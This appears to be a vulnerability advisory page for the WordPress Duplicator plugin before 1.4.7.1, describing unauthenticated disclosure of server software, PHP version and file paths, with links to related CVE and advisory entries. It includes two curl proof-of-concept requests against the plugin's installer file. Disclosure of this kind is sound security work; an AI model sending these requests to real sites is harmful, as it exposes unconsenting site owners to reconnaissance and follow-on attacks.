Lucene search
Ihsan SencanWPEX-ID:6B540712-FDA5-4BE6-AE4B-BD30A9D9D698HistoryAug 01, 2022 - 12:00 a.m.
Duplicator < 1.4.7.1 - Unauthenticated System Information Disclosure
2022-08-0100:00:00
Ihsan Sencan
120
0.017 Low
EPSS
Percentile
87.9%
The plugin does not authenticate or authorize visitors before displaying information about the system such as server software, php version and full file system path to the site.
1. curl 'http://example.com/wp-content/backups-dup-lite/dup-installer/main.installer.php?view=1'
2. curl -d view 'http://example.com/wp-content/backups-dup-lite/dup-installer/main.installer.php?debug=1'
Related
patchstack
patchstack
nvd
nvd
CVE-2022-2552
2022-08-22 15:15:15
prion
prion
Path traversal
2022-08-22 15:15:00
cvelist
cvelist
zdt
zdt
WordPress Duplicator 1.4.7 Plugin - Information Disclosure Vulnerability
2022-08-01 00:00:00
openvas
openvas
WordPress Duplicator Plugin < 1.4.7.1 Information Disclosure Vulnerability
2022-08-23 00:00:00
cve
cve
CVE-2022-2552
2022-08-22 15:15:15
wpvulndb
wpvulndb
Duplicator < 1.4.7.1 - Unauthenticated System Information Disclosure
2022-08-01 00:00:00
packetstorm
packetstorm
WordPress Duplicator 1.4.7 Information Disclosure
2022-08-01 00:00:00
exploitdb
exploitdb
WordPress Plugin Duplicator 1.4.7 - Information Disclosure
2022-08-01 00:00:00